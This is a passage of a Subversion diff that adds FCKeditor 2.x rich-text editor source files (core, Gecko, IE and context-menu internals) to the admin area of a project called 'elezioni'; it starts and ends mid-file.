+		// The behaviors should be pointed using the FullBasePath to avoid security
+		// errors when using a differente BaseHref.
+		sStyle =
+			'<style type="text/css" _fcktemp="true">' +
+			'INPUT { behavior: url(' + sBasePath + 'css/behaviors/hiddenfield.htc) ; }' ;
+
+		if ( FCKConfig.ShowBorders )
+			sTableBehavior = 'url(' + sBasePath + 'css/behaviors/showtableborders.htc)' ;
+
+		// Disable resize handlers.
+		sStyle += 'INPUT,TEXTAREA,SELECT,.FCK__Anchor,.FCK__PageBreak' ;
+
+		if ( FCKConfig.DisableObjectResizing )
+		{
+			sStyle += ',IMG' ;
+			sTableBehavior += ' url(' + sBasePath + 'css/behaviors/disablehandles.htc)' ;
+		}
+		
+		sStyle += ' { behavior: url(' + sBasePath + 'css/behaviors/disablehandles.htc) ; }' ;
+
+		if ( sTableBehavior.length > 0 )
+			sStyle += 'TABLE { behavior: ' + sTableBehavior + ' ; }' ;
+
+		sStyle += '</style>' ;
+		FCK._BehaviorsStyle = sStyle ;
+	}
+	
+	return FCK._BehaviorsStyle ;
+}
+
+function Doc_OnMouseUp()
+{
+	if ( FCK.EditorWindow.event.srcElement.tagName == 'HTML' )
+	{
+		FCK.Focus() ;
+		FCK.EditorWindow.event.cancelBubble	= true ;
+		FCK.EditorWindow.event.returnValue	= false ;
+	}
+}
+
+function Doc_OnPaste()
+{
+	if ( FCK.Status == FCK_STATUS_COMPLETE )
+		FCK.Events.FireEvent( "OnPaste" ) ;
+
+	return false ;
+}
+
+/*
+function Doc_OnContextMenu()
+{
+	var e = FCK.EditorWindow.event ;
+	
+	FCK.ShowContextMenu( e.screenX, e.screenY ) ;
+	return false ;
+}
+*/
+
+function Doc_OnKeyDown()
+{
+	var e = FCK.EditorWindow.event ;
+
+
+	switch ( e.keyCode )
+	{
+		case 13 :	// ENTER
+			if ( FCKConfig.UseBROnCarriageReturn && !(e.ctrlKey || e.altKey || e.shiftKey) )
+			{
+				Doc_OnKeyDownUndo() ;
+				
+				// We must ignore it if we are inside a List.
+				if ( FCK.EditorDocument.queryCommandState( 'InsertOrderedList' ) || FCK.EditorDocument.queryCommandState( 'InsertUnorderedList' ) )
+					return true ;
+
+				// Insert the <BR> (The &nbsp; must be also inserted to make it work)
+				FCK.InsertHtml( '<br>&nbsp;' ) ;
+
+				// Remove the &nbsp;
+				var oRange = FCK.EditorDocument.selection.createRange() ;
+				oRange.moveStart( 'character', -1 ) ;
+				oRange.select() ;
+				FCK.EditorDocument.selection.clear() ;
+
+				return false ;
+			}
+			break ;
+		
+		case 8 :	// BACKSPACE
+			// We must delete a control selection by code and cancels the 
+			// keystroke, otherwise IE will execute the browser's "back" button.
+			if ( FCKSelection.GetType() == 'Control' )
+			{
+				FCKSelection.Delete() ;
+				return false ;
+			}
+			break ;
+		
+		case 9 :	// TAB
+			if ( FCKConfig.TabSpaces > 0 && !(e.ctrlKey || e.altKey || e.shiftKey) )
+			{
+				Doc_OnKeyDownUndo() ;
+				
+				FCK.InsertHtml( window.FCKTabHTML ) ;
+				return false ;
+			}
+			break ;
+		case 90 :	// Z
+			if ( e.ctrlKey && !(e.altKey || e.shiftKey) )
+			{
+				FCKUndo.Undo() ;
+				return false ;
+			}
+			break ;
+		case 89 :	// Y
+			if ( e.ctrlKey && !(e.altKey || e.shiftKey) )
+			{
+				FCKUndo.Redo() ;
+				return false ;
+			}
+			break ;
+	}
+	
+	if ( !( e.keyCode >=16 && e.keyCode <= 18 ) )
+		Doc_OnKeyDownUndo() ;
+	return true ;
+}
+
+function Doc_OnKeyDownUndo()
+{
+	if ( !FCKUndo.Typing )
+	{
+		FCKUndo.SaveUndoStep() ;
+		FCKUndo.Typing = true ;
+		FCK.Events.FireEvent( "OnSelectionChange" ) ;
+	}
+	
+	FCKUndo.TypesCount++ ;
+
+	if ( FCKUndo.TypesCount > FCKUndo.MaxTypes )
+	{
+		FCKUndo.TypesCount = 0 ;
+		FCKUndo.SaveUndoStep() ;
+	}
+}
+
+function Doc_OnDblClick()
+{
+	FCK.OnDoubleClick( FCK.EditorWindow.event.srcElement ) ;
+	FCK.EditorWindow.event.cancelBubble = true ;
+}
+
+function Doc_OnSelectionChange()
+{
+	FCK.Events.FireEvent( "OnSelectionChange" ) ;
+}
+
+FCK.InitializeBehaviors = function( dontReturn )
+{
+	// Set the focus to the editable area when clicking in the document area.
+	// TODO: The cursor must be positioned at the end.
+	this.EditorDocument.attachEvent( 'onmouseup', Doc_OnMouseUp ) ;
+
+	// Intercept pasting operations
+	this.EditorDocument.body.attachEvent( 'onpaste', Doc_OnPaste ) ;
+
+	// Reset the context menu.
+	FCK.ContextMenu._InnerContextMenu.AttachToElement( FCK.EditorDocument.body ) ;
+
+	// Build the "TAB" key replacement (if necessary).
+	if ( FCKConfig.TabSpaces > 0 )
+	{
+		window.FCKTabHTML = '' ;
+		for ( i = 0 ; i < FCKConfig.TabSpaces ; i++ )
+			window.FCKTabHTML += "&nbsp;" ;
+	}
+	this.EditorDocument.attachEvent("onkeydown", Doc_OnKeyDown ) ;
+
+	this.EditorDocument.attachEvent("ondblclick", Doc_OnDblClick ) ;
+
+	// Catch cursor movements
+	this.EditorDocument.attachEvent("onselectionchange", Doc_OnSelectionChange ) ;
+
+	//Enable editing
+//	this.EditorDocument.body.contentEditable = true ;
+}
+
+FCK.InsertHtml = function( html )
+{
+	html = FCKConfig.ProtectedSource.Protect( html ) ;
+	html = FCK.ProtectUrls( html ) ;
+
+	FCK.Focus() ;
+
+	FCKUndo.SaveUndoStep() ;
+
+	// Gets the actual selection.
+	var oSel = FCK.EditorDocument.selection ;
+
+	// Deletes the actual selection contents.
+	if ( oSel.type.toLowerCase() == 'control' )
+		oSel.clear() ;
+
+	// Insert the HTML.
+	oSel.createRange().pasteHTML( html ) ;
+	
+	FCKDocumentProcessor.Process( FCK.EditorDocument ) ;
+}
+
+FCK.SetInnerHtml = function( html )		// IE Only
+{
+	var oDoc = FCK.EditorDocument ;
+	// Using the following trick, any comment in the begining of the HTML will
+	// be preserved.
+	oDoc.body.innerHTML = '<div id="__fakeFCKRemove__">&nbsp;</div>' + html ;
+	oDoc.getElementById('__fakeFCKRemove__').removeNode( true ) ;
+}
+
+var FCK_PreloadImages_Count = 0 ;
+var FCK_PreloadImages_Images = new Array() ;
+
+function FCK_PreloadImages()
+{
+	// Get the images to preload.
+	var aImages = FCKConfig.PreloadImages || [] ;
+	
+	if ( typeof( aImages ) == 'string' )
+		aImages = aImages.split( ';' ) ;
+
+	// Add the skin icons strip.
+	aImages.push( FCKConfig.SkinPath + 'fck_strip.gif' ) ;
+	
+	FCK_PreloadImages_Count = aImages.length ;
+
+	var aImageElements = new Array() ;
+	
+	for ( var i = 0 ; i < aImages.length ; i++ )
+	{
+		var eImg = document.createElement( 'img' ) ;
+		eImg.onload = eImg.onerror = FCK_PreloadImages_OnImage ;
+		eImg.src = aImages[i] ;
+		
+		FCK_PreloadImages_Images[i] = eImg ;
+	}
+}
+
+function FCK_PreloadImages_OnImage()
+{
+	if ( (--FCK_PreloadImages_Count) == 0 )
+		FCKTools.RunFunction( LoadToolbarSetup ) ;
+}
+
+// Disable the context menu in the editor (outside the editing area).
+function Document_OnContextMenu()
+{
+	return ( event.srcElement._FCKShowContextMenu == true ) ;
+}
+document.oncontextmenu = Document_OnContextMenu ;
+
+function FCK_Cleanup()
+{
+	this.EditorWindow = null ;
+	this.EditorDocument = null ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_2.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_2.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_2.js	(revision 44)
@@ -0,0 +1,162 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_2.js
+ * 	This is the second part of the "FCK" object creation. This is the main
+ * 	object that represents an editor instance.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+// This collection is used by the browser specific implementations to tell
+// wich named commands must be handled separately.
+FCK.RedirectNamedCommands = new Object() ;
+
+FCK.ExecuteNamedCommand = function( commandName, commandParameter, noRedirect )
+{
+	FCKUndo.SaveUndoStep() ;
+
+	if ( !noRedirect && FCK.RedirectNamedCommands[ commandName ] != null )
+		FCK.ExecuteRedirectedNamedCommand( commandName, commandParameter ) ;
+	else
+	{
+		FCK.Focus() ;
+		FCK.EditorDocument.execCommand( commandName, false, commandParameter ) ; 
+		FCK.Events.FireEvent( 'OnSelectionChange' ) ;
+	}
+	
+	FCKUndo.SaveUndoStep() ;
+}
+
+FCK.GetNamedCommandState = function( commandName )
+{
+	try
+	{
+		if ( !FCK.EditorDocument.queryCommandEnabled( commandName ) )
+			return FCK_TRISTATE_DISABLED ;
+		else
+			return FCK.EditorDocument.queryCommandState( commandName ) ? FCK_TRISTATE_ON : FCK_TRISTATE_OFF ;
+	}
+	catch ( e )
+	{
+		return FCK_TRISTATE_OFF ;
+	}
+}
+
+FCK.GetNamedCommandValue = function( commandName )
+{
+	var sValue = '' ;
+	var eState = FCK.GetNamedCommandState( commandName ) ;
+	
+	if ( eState == FCK_TRISTATE_DISABLED ) 
+		return null ;
+	
+	try
+	{
+		sValue = this.EditorDocument.queryCommandValue( commandName ) ;
+	}
+	catch(e) {}
+	
+	return sValue ? sValue : '' ;
+}
+
+FCK.PasteFromWord = function()
+{
+	FCKDialog.OpenDialog( 'FCKDialog_Paste', FCKLang.PasteFromWord, 'dialog/fck_paste.html', 400, 330, 'Word' ) ;
+}
+
+FCK.Preview = function()
+{
+	var iWidth	= FCKConfig.ScreenWidth * 0.8 ;
+	var iHeight	= FCKConfig.ScreenHeight * 0.7 ;
+	var iLeft	= ( FCKConfig.ScreenWidth - iWidth ) / 2 ;
+	var oWindow = window.open( '', null, 'toolbar=yes,location=no,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width=' + iWidth + ',height=' + iHeight + ',left=' + iLeft ) ;
+	
+	var sHTML ;
+	
+	if ( FCKConfig.FullPage )
+	{
+		if ( FCK.TempBaseTag.length > 0 )
+			sHTML = FCK.TempBaseTag + FCK.GetXHTML() ;
+		else
+			sHTML = FCK.GetXHTML() ;
+	}
+	else
+	{
+		sHTML = 
+			FCKConfig.DocType +
+			'<html dir="' + FCKConfig.ContentLangDirection + '">' +
+			'<head>' +
+			FCK.TempBaseTag +
+			'<title>' + FCKLang.Preview + '</title>' +
+			FCK._GetEditorAreaStyleTags() +
+			'</head><body>' + 
+			FCK.GetXHTML() + 
+			'</body></html>' ;
+	}
+	
+	oWindow.document.write( sHTML );
+	oWindow.document.close();
+}
+
+FCK.SwitchEditMode = function( noUndo )
+{
+	var bIsWysiwyg = ( FCK.EditMode == FCK_EDITMODE_WYSIWYG ) ;
+	var sHtml ;
+	
+	// Update the HTML in the view output to show.
+	if ( bIsWysiwyg )
+	{
+		if ( !noUndo && FCKBrowserInfo.IsIE )
+			FCKUndo.SaveUndoStep() ;
+
+		sHtml = FCK.GetXHTML( FCKConfig.FormatSource ) ;
+	}
+	else
+		sHtml = this.EditingArea.Textarea.value ;
+
+	FCK.EditMode = bIsWysiwyg ? FCK_EDITMODE_SOURCE : FCK_EDITMODE_WYSIWYG ;
+
+	FCK.SetHTML( sHtml ) ;
+
+	// Set the Focus.
+	FCK.Focus() ;
+
+	// Update the toolbar (Running it directly causes IE to fail).
+	FCKTools.RunFunction( FCK.ToolbarSet.RefreshModeState, FCK.ToolbarSet ) ;
+}
+
+FCK.CreateElement = function( tag )
+{
+	var e = FCK.EditorDocument.createElement( tag ) ;
+	return FCK.InsertElementAndGetIt( e ) ;
+}
+
+FCK.InsertElementAndGetIt = function( e )
+{
+	e.setAttribute( 'FCKTempLabel', 'true' ) ;
+	
+	this.InsertElement( e ) ;
+	
+	var aEls = FCK.EditorDocument.getElementsByTagName( e.tagName ) ;
+	
+	for ( var i = 0 ; i < aEls.length ; i++ )
+	{
+		if ( aEls[i].getAttribute( 'FCKTempLabel' ) )
+		{
+			aEls[i].removeAttribute( 'FCKTempLabel' ) ;
+			return aEls[i] ;
+		}
+	}
+	return null ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_2_gecko.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_2_gecko.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_2_gecko.js	(revision 44)
@@ -0,0 +1,196 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_2_gecko.js
+ * 	This is the second part of the "FCK" object creation. This is the main
+ * 	object that represents an editor instance.
+ * 	(Gecko specific implementations)
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+// GetNamedCommandState overload for Gecko.
+FCK._BaseGetNamedCommandState = FCK.GetNamedCommandState ;
+FCK.GetNamedCommandState = function( commandName )
+{
+	switch ( commandName )
+	{
+		case 'Unlink' :
+			return FCKSelection.HasAncestorNode('A') ? FCK_TRISTATE_OFF : FCK_TRISTATE_DISABLED ;
+		default :
+			return FCK._BaseGetNamedCommandState( commandName ) ;
+	}
+}
+
+// Named commands to be handled by this browsers specific implementation.
+FCK.RedirectNamedCommands = 
+{
+	Print	: true,
+	Paste	: true,
+	Cut		: true,
+	Copy	: true
+}
+
+// ExecuteNamedCommand overload for Gecko.
+FCK.ExecuteRedirectedNamedCommand = function( commandName, commandParameter )
+{
+	switch ( commandName )
+	{
+		case 'Print' :
+			FCK.EditorWindow.print() ;
+			break ;
+		case 'Paste' :
+			try			{ if ( FCK.Paste() ) FCK.ExecuteNamedCommand( 'Paste', null, true ) ; }
+			catch (e)	{ alert(FCKLang.PasteErrorPaste) ; }
+			break ;
+		case 'Cut' :
+			try			{ FCK.ExecuteNamedCommand( 'Cut', null, true ) ; }
+			catch (e)	{ alert(FCKLang.PasteErrorCut) ; }
+			break ;
+		case 'Copy' :
+			try			{ FCK.ExecuteNamedCommand( 'Copy', null, true ) ; }
+			catch (e)	{ alert(FCKLang.PasteErrorCopy) ; }
+			break ;			
+		default :
+			FCK.ExecuteNamedCommand( commandName, commandParameter ) ;
+	}
+}
+
+FCK.AttachToOnSelectionChange = function( functionPointer )
+{
+	this.Events.AttachEvent( 'OnSelectionChange', functionPointer ) ;
+}
+
+FCK.Paste = function()
+{
+	if ( FCKConfig.ForcePasteAsPlainText )
+	{
+		FCK.PasteAsPlainText() ;	
+		return false ;
+	}
+/* For now, the AutoDetectPasteFromWord feature is IE only.
+	else if ( FCKConfig.AutoDetectPasteFromWord )
+	{
+		var sHTML = FCK.GetClipboardHTML() ;
+		var re = /<\w[^>]* class="?MsoNormal"?/gi ;
+		if ( re.test( sHTML ) )
+		{
+			if ( confirm( FCKLang["PasteWordConfirm"] ) )
+			{
+				FCK.PasteFromWord() ;
+				return false ;
+			}
+		}
+	}
+*/
+	else
+		return true ;
+}
+
+//**
+// FCK.InsertHtml: Inserts HTML at the current cursor location. Deletes the
+// selected content if any.
+FCK.InsertHtml = function( html )
+{
+	html = FCKConfig.ProtectedSource.Protect( html ) ;
+	html = FCK.ProtectUrls( html ) ;
+
+	// Delete the actual selection.
+	var oSel = FCKSelection.Delete() ;
+	
+	// Get the first available range.
+	var oRange = oSel.getRangeAt(0) ;
+	
+	// Create a fragment with the input HTML.
+	var oFragment = oRange.createContextualFragment( html ) ;
+	
+	// Get the last available node.
+	var oLastNode = oFragment.lastChild ;
+
+	// Insert the fragment in the range.
+	oRange.insertNode(oFragment) ;
+	
+	// Set the cursor after the inserted fragment.
+	FCKSelection.SelectNode( oLastNode ) ;
+	FCKSelection.Collapse( false ) ;
+	
+	this.Focus() ;
+}
+
+FCK.InsertElement = function( element )
+{
+	// Deletes the actual selection.
+	var oSel = FCKSelection.Delete() ;
+	
+	// Gets the first available range.
+	var oRange = oSel.getRangeAt(0) ;
+	
+	// Inserts the element in the range.
+	oRange.insertNode( element ) ;
+	
+	// Set the cursor after the inserted fragment.
+	FCKSelection.SelectNode( element ) ;
+	FCKSelection.Collapse( false ) ;
+
+	this.Focus() ;
+}
+
+FCK.PasteAsPlainText = function()
+{
+	// TODO: Implement the "Paste as Plain Text" code.
+	
+	FCKDialog.OpenDialog( 'FCKDialog_Paste', FCKLang.PasteAsText, 'dialog/fck_paste.html', 400, 330, 'PlainText' ) ;
+	
+/*
+	var sText = FCKTools.HTMLEncode( clipboardData.getData("Text") ) ;
+	sText = sText.replace( /\n/g, '<BR>' ) ;
+	this.InsertHtml( sText ) ;	
+*/
+}
+/*
+FCK.PasteFromWord = function()
+{
+	// TODO: Implement the "Paste as Plain Text" code.
+	
+	FCKDialog.OpenDialog( 'FCKDialog_Paste', FCKLang.PasteFromWord, 'dialog/fck_paste.html', 400, 330, 'Word' ) ;
+
+//	FCK.CleanAndPaste( FCK.GetClipboardHTML() ) ;
+}
+*/
+FCK.GetClipboardHTML = function()
+{
+	return '' ;
+}
+
+FCK.CreateLink = function( url )
+{	
+	FCK.ExecuteNamedCommand( 'Unlink' ) ;
+	
+	if ( url.length > 0 )
+	{
+		// Generate a temporary name for the link.
+		var sTempUrl = 'javascript:void(0);/*' + ( new Date().getTime() ) + '*/' ;
+		
+		// Use the internal "CreateLink" command to create the link.
+		FCK.ExecuteNamedCommand( 'CreateLink', sTempUrl ) ;
+
+		// Retrieve the just created link using XPath.
+		var oLink = document.evaluate("//a[@href='" + sTempUrl + "']", this.EditorDocument.body, null, 9, null).singleNodeValue ;
+		
+		if ( oLink )
+		{
+			oLink.href = url ;
+			return oLink ;
+		}
+	}
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_2_ie.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_2_ie.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_2_ie.js	(revision 44)
@@ -0,0 +1,164 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_2_ie.js
+ * 	This is the second part of the "FCK" object creation. This is the main
+ * 	object that represents an editor instance.
+ * 	(IE specific implementations)
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+/*
+if ( FCKConfig.UseBROnCarriageReturn ) 
+{
+	// Named commands to be handled by this browsers specific implementation.
+	FCK.RedirectNamedCommands = 
+	{
+		InsertOrderedList	: true,
+		InsertUnorderedList	: true
+	}
+
+	FCK.ExecuteRedirectedNamedCommand = function( commandName, commandParameter )
+	{
+		if ( commandName == 'InsertOrderedList' || commandName == 'InsertUnorderedList' )
+		{
+			if ( !(FCK.EditorDocument.queryCommandState( 'InsertOrderedList' ) || FCK.EditorDocument.queryCommandState( 'InsertUnorderedList' )) )
+			{
+			}				
+		}
+
+		FCK.ExecuteNamedCommand( commandName, commandParameter ) ;
+	}
+}
+*/
+
+FCK.Paste = function()
+{
+	if ( FCKConfig.ForcePasteAsPlainText )
+	{
+		FCK.PasteAsPlainText() ;	
+		return ;
+	}
+
+	var sHTML = FCK.GetClipboardHTML() ;
+
+	if ( FCKConfig.AutoDetectPasteFromWord )
+	{
+		var re = /<\w[^>]*(( class="?MsoNormal"?)|(="mso-))/gi ;
+		if ( re.test( sHTML ) )
+		{
+			if ( confirm( FCKLang["PasteWordConfirm"] ) )
+			{
+				FCK.PasteFromWord() ;
+				return ;
+			}
+		}
+	}
+
+	FCK.InsertHtml( sHTML ) ;	
+}
+
+FCK.PasteAsPlainText = function()
+{
+	// Get the data available in the clipboard and encodes it in HTML.
+	var sText = FCKTools.HTMLEncode( clipboardData.getData("Text") ) ;
+
+	// Replace the carriage returns with <BR>
+	sText = sText.replace( /\n/g, '<BR>' ) ;
+	
+	// Insert the resulting data in the editor.
+	this.InsertHtml( sText ) ;	
+}
+/*
+FCK.PasteFromWord = function()
+{
+	FCK.CleanAndPaste( FCK.GetClipboardHTML() ) ;
+}
+*/
+FCK.InsertElement = function( element )
+{
+	FCK.InsertHtml( element.outerHTML ) ;
+}
+
+FCK.GetClipboardHTML = function()
+{
+	var oDiv = document.getElementById( '___FCKHiddenDiv' ) ;
+	
+	if ( !oDiv )
+	{
+		var oDiv = document.createElement( 'DIV' ) ;
+		oDiv.id = '___FCKHiddenDiv' ;
+		oDiv.style.visibility	= 'hidden' ;
+		oDiv.style.overflow		= 'hidden' ;
+		oDiv.style.position		= 'absolute' ;
+		oDiv.style.width		= 1 ;
+		oDiv.style.height		= 1 ;
+	
+		document.body.appendChild( oDiv ) ;
+	}
+	
+	oDiv.innerHTML = '' ;
+	
+	var oTextRange = document.body.createTextRange() ;
+	oTextRange.moveToElementText( oDiv ) ;
+	oTextRange.execCommand( 'Paste' ) ;
+	
+	var sData = oDiv.innerHTML ;
+	oDiv.innerHTML = '' ;
+	
+	return sData ;
+}
+
+FCK.AttachToOnSelectionChange = function( functionPointer )
+{
+	this.Events.AttachEvent( 'OnSelectionChange', functionPointer ) ;
+}
+
+/*
+FCK.AttachToOnSelectionChange = function( functionPointer )
+{
+	FCK.EditorDocument.attachEvent( 'onselectionchange', functionPointer ) ;
+}
+*/
+
+FCK.CreateLink = function( url )
+{
+	// Remove any existing link in the selection.
+	FCK.ExecuteNamedCommand( 'Unlink' ) ;
+
+	if ( url.length > 0 )
+	{
+		// Generate a temporary name for the link.
+		var sTempUrl = 'javascript:void(0);/*' + ( new Date().getTime() ) + '*/' ;
+		
+		// Use the internal "CreateLink" command to create the link.
+		FCK.ExecuteNamedCommand( 'CreateLink', sTempUrl ) ;
+
+		// Look for the just create link.
+		var oLinks = this.EditorDocument.links ;
+
+		for ( i = 0 ; i < oLinks.length ; i++ )
+		{
+			var oLink = oLinks[i] ;
+			
+			if ( oLink.href == sTempUrl )
+			{
+				var sInnerHtml = oLink.innerHTML ;	// Save the innerHTML (IE changes it if it is like an URL).
+				oLink.href = url ;
+				oLink.innerHTML = sInnerHtml ;		// Restore the innerHTML.
+				return oLink ;
+			}
+		}
+	}
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_contextmenu.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_contextmenu.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/internals/fck_contextmenu.js	(revision 44)
@@ -0,0 +1,290 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_contextmenu.js
+ * 	Defines the FCK.ContextMenu object that is responsible for all
+ * 	Context Menu operations in the editing area.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+FCK.ContextMenu = new Object() ;
+FCK.ContextMenu.Listeners = new Array() ;
+
+FCK.ContextMenu.RegisterListener = function( listener )
+{
+	if ( listener )
+		this.Listeners.push( listener ) ;
+}
+
+function FCK_ContextMenu_Init()
+{
+	var oInnerContextMenu = FCK.ContextMenu._InnerContextMenu = new FCKContextMenu( FCKBrowserInfo.IsIE ? window : window.parent, FCK.EditorWindow, FCKLang.Dir ) ;
+	oInnerContextMenu.OnBeforeOpen	= FCK_ContextMenu_OnBeforeOpen ;
+	oInnerContextMenu.OnItemClick	= FCK_ContextMenu_OnItemClick ;
+
+	// Get the registering function.
+	var oMenu = FCK.ContextMenu ;
+
+	// Register all configured context menu listeners.
+	for ( var i = 0 ; i < FCKConfig.ContextMenu.length ; i++ )
+		oMenu.RegisterListener( FCK_ContextMenu_GetListener( FCKConfig.ContextMenu[i] ) ) ;
+}
+
+function FCK_ContextMenu_GetListener( listenerName )
+{
+	switch ( listenerName )
+	{
+		case 'Generic' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				menu.AddItem( 'Cut'		, FCKLang.Cut	, 7, FCKCommands.GetCommand( 'Cut' ).GetState() == FCK_TRISTATE_DISABLED ) ;
+				menu.AddItem( 'Copy'	, FCKLang.Copy	, 8, FCKCommands.GetCommand( 'Copy' ).GetState() == FCK_TRISTATE_DISABLED ) ;
+				menu.AddItem( 'Paste'	, FCKLang.Paste	, 9, FCKCommands.GetCommand( 'Paste' ).GetState() == FCK_TRISTATE_DISABLED ) ;
+			}} ;
+
+		case 'Table' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				var bIsTable	= ( tagName == 'TABLE' ) ;
+				var bIsCell		= ( !bIsTable && FCKSelection.HasAncestorNode( 'TABLE' ) ) ;
+				
+				if ( bIsCell )
+				{
+					menu.AddSeparator() ;
+					var oItem = menu.AddItem( 'Cell'	, FCKLang.CellCM ) ;
+					oItem.AddItem( 'TableInsertCell'	, FCKLang.InsertCell, 58 ) ;
+					oItem.AddItem( 'TableDeleteCells'	, FCKLang.DeleteCells, 59 ) ;
+					oItem.AddItem( 'TableMergeCells'	, FCKLang.MergeCells, 60 ) ;
+					oItem.AddItem( 'TableSplitCell'		, FCKLang.SplitCell, 61 ) ;
+					oItem.AddSeparator() ;
+					oItem.AddItem( 'TableCellProp'		, FCKLang.CellProperties, 57 ) ;
+
+					menu.AddSeparator() ;
+					oItem = menu.AddItem( 'Row'			, FCKLang.RowCM ) ;
+					oItem.AddItem( 'TableInsertRow'		, FCKLang.InsertRow, 62 ) ;
+					oItem.AddItem( 'TableDeleteRows'	, FCKLang.DeleteRows, 63 ) ;
+					
+					menu.AddSeparator() ;
+					oItem = menu.AddItem( 'Column'		, FCKLang.ColumnCM ) ;
+					oItem.AddItem( 'TableInsertColumn'	, FCKLang.InsertColumn, 64 ) ;
+					oItem.AddItem( 'TableDeleteColumns'	, FCKLang.DeleteColumns, 65 ) ;
+				}
+
+				if ( bIsTable || bIsCell )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'TableDelete'			, FCKLang.TableDelete ) ;
+					menu.AddItem( 'TableProp'			, FCKLang.TableProperties, 39 ) ;
+				}
+			}} ;
+
+		case 'Link' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				var bInsideLink = ( tagName == 'A' || FCKSelection.HasAncestorNode( 'A' ) ) ;
+
+				if ( bInsideLink || FCK.GetNamedCommandState( 'Unlink' ) != FCK_TRISTATE_DISABLED )
+				{
+					menu.AddSeparator() ;
+					if ( bInsideLink )
+						menu.AddItem( 'Link', FCKLang.EditLink		, 34 ) ;
+					menu.AddItem( 'Unlink'	, FCKLang.RemoveLink	, 35 ) ;
+				}
+			}} ;
+
+		case 'Image' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				if ( tagName == 'IMG' && !tag.getAttribute( '_fckfakelement' ) )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'Image', FCKLang.ImageProperties, 37 ) ;
+				}
+			}} ;
+
+		case 'Anchor' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				if ( tagName == 'IMG' && tag.getAttribute( '_fckanchor' ) )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'Anchor', FCKLang.AnchorProp, 36 ) ;
+				}
+			}} ;
+
+		case 'Flash' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				if ( tagName == 'IMG' && tag.getAttribute( '_fckflash' ) )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'Flash', FCKLang.FlashProperties, 38 ) ;
+				}
+			}} ;
+
+		case 'Form' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				if ( FCKSelection.HasAncestorNode('FORM') )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'Form', FCKLang.FormProp, 48 ) ;
+				}
+			}} ;
+
+		case 'Checkbox' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				if ( tagName == 'INPUT' && tag.type == 'checkbox' )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'Checkbox', FCKLang.CheckboxProp, 49 ) ;
+				}
+			}} ;
+
+		case 'Radio' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				if ( tagName == 'INPUT' && tag.type == 'radio' )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'Radio', FCKLang.RadioButtonProp, 50 ) ;
+				}
+			}} ;
+
+		case 'TextField' :
+			return {
+			AddItems : function( menu, tag, tagName )
+			{
+				if ( tagName == 'INPUT' && ( tag.type == 'text' || tag.type == 'password' ) )
+				{
+					menu.AddSeparator() ;
+					menu.AddItem( 'TextField', FCKLang.TextFieldProp, 51 ) ;
+				}
+			}} ;
+
